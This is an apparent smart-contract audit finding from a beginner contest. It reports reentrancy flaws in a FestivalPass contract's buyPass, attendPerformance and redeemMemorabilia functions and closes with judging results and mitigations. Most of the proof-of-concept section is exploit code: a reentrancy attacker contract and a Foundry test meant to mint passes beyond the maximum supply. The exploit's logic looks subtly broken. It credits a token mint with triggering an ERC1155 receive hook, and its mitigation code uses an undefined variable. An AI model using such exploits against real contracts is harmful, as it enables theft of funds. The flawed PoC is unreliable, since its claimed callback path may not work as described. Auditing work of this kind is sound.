Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[ H-3 ] -Multiple Reentrancy Vulnerabilities

Multiple Reentrancy Vulnerabilities + Supply Manipulation and Fund Drain

Description

  • Normal Behavior:
    In a secure smart contract system, functions that interact with external contracts (such as token mints, burns, or ETH transfers) should always update all relevant internal state before making any external calls. This is known as the Checks-Effects-Interactions (CEI) pattern and is a fundamental best practice in Solidity to prevent reentrancy attacks. Additionally, using reentrancy guards (such as OpenZeppelin’s ReentrancyGuard) is recommended for extra protection.

  • Issue:
    In the FestivalPass contract, several core functions (buyPass, attendPerformance, and redeemMemorabilia) violate the CEI pattern. They make external calls (to BeatToken.mint or BeatToken.burnFrom) before updating critical state variables such as supply counters, attendance records, or item IDs. This allows a malicious contract to reenter these functions before the state is updated, bypassing important checks and invariants. As a result, attackers can:

    • Mint more passes or NFTs than the maximum allowed.

    • Receive multiple rewards for a single action.

    • Drain the contract’s ETH balance if similar patterns exist in withdrawal logic.

  • Relevant Code Example:

function buyPass(uint256 collectionId) external payable {
// Checks
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Interactions - External call BEFORE state update
@> BeatToken(beatToken).mint(msg.sender, bonus);
// Effects - State update AFTER external call
@> ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
emit PassPurchased(msg.sender, collectionId);
}
  • Other Affected Functions:

    • attendPerformance: External call to BeatToken.mint before updating attendance state.

    • redeemMemorabilia: External call to BeatToken.burnFrom before incrementing currentItemId.

Risk

Likelihood:

  • This vulnerability is highly likely to be exploited in any public or composable system where users can deploy arbitrary contracts. Attackers can create malicious contracts specifically designed to exploit reentrancy by calling back into the vulnerable functions before state is updated.

  • The risk is further increased if the project is high-profile, has valuable assets, or is deployed on a public network where adversaries actively search for such flaws.

Impact:

  • Supply Manipulation: Attackers can mint more passes or NFTs than the intended maximum, breaking scarcity guarantees and devaluing legitimate user holdings.

  • Multiple Rewards: Attackers can receive multiple attendance rewards or bonuses for a single event, draining the reward pool and undermining the intended incentive structure.

  • Fund Drain: If similar patterns exist in withdrawal or payment logic, attackers could drain the contract’s ETH or token balances.

  • Loss of Trust: Exploitation of these vulnerabilities can lead to significant financial loss, user complaints, negative publicity, and loss of trust in the protocol.

Proof of Concept

To demonstrate the exploit, copy and paste the following code into your test file (e.g., test/contract.t.sol). This test deploys a malicious contract that exploits the reentrancy vulnerability in buyPass to mint more passes than the maximum supply. Similar attacks can be constructed for attendPerformance and redeemMemorabilia.

// Malicious contract to exploit buyPass reentrancy
contract BuyPassReentrancyAttacker {
FestivalPass public festivalPass;
BeatToken public beatToken;
bool private attacking = false;
uint256 private attackCount = 0;
uint256 private maxAttacks = 5;
constructor(address _festivalPass, address _beatToken) {
festivalPass = FestivalPass(_festivalPass);
beatToken = BeatToken(_beatToken);
}
function attack() external payable {
if (!attacking && attackCount < maxAttacks) {
attacking = true;
attackCount++;
// Buy a pass - this will trigger the reentrancy
festivalPass.buyPass{value: 0.05 ether}(1);
attacking = false;
}
}
// Called by BeatToken.mint() during buyPass execution
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4) {
if (attacking && attackCount < maxAttacks) {
// Reenter buyPass to exploit the vulnerability
// The maxSupply check hasn't been updated yet, so we can bypass it
festivalPass.buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
receive() external payable {}
}
function test_ReentrancyAttack_BuyPass() public {
// Deploy the reentrancy attacker contract
BuyPassReentrancyAttacker attacker = new BuyPassReentrancyAttacker(
address(festivalPass),
address(beatToken)
);
// Fund the attacker with enough ETH to buy multiple passes
vm.deal(address(attacker), 10 ether);
// Configure a pass with max supply of 2
vm.prank(organizer);
festivalPass.configurePass(1, 0.05 ether, 2);
// Execute the attack
vm.prank(address(attacker));
attacker.attack();
// The attacker should have successfully bypassed the max supply check
// and minted more passes than allowed
assertGt(festivalPass.balanceOf(address(attacker), 1), 2);
assertGt(festivalPass.passSupply(1), 2);
}

Explanation:

  • The attacker contract calls buyPass, which triggers BeatToken.mint.

  • During the mint, the attacker's onERC1155Received is called, which reenters buyPass before the supply is updated.

  • This allows the attacker to mint more passes than the maximum supply, bypassing the intended limit.

Variants:

  • Similar attacker contracts can be written for attendPerformance (to claim multiple rewards) and redeemMemorabilia (to mint more NFTs than allowed).

Recommended Mitigation

1. Refactor to Checks-Effects-Interactions Pattern:
Update all vulnerable functions to update internal state before making any external calls. This ensures that reentrant calls will fail the relevant checks.

function buyPass(uint256 collectionId) external payable {
// Checks
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Effects - Update state BEFORE external calls
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
// Interactions - External calls AFTER state updates
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

2. Add Reentrancy Guards:
Consider using OpenZeppelin’s ReentrancyGuard to further protect all functions that transfer tokens or ETH, or interact with external contracts.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ReentrancyGuard {
// ...
function buyPass(uint256 collectionId) external payable nonReentrant {
// ... function body ...
}
// ... other functions ...
}

3. Review All External Calls:
Audit all functions for similar patterns, including those that interact with user contracts, token contracts, or perform ETH transfers.

4. Test for Reentrancy:
Add comprehensive tests for reentrancy using attacker contracts to ensure that all critical functions are protected.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 months ago
inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.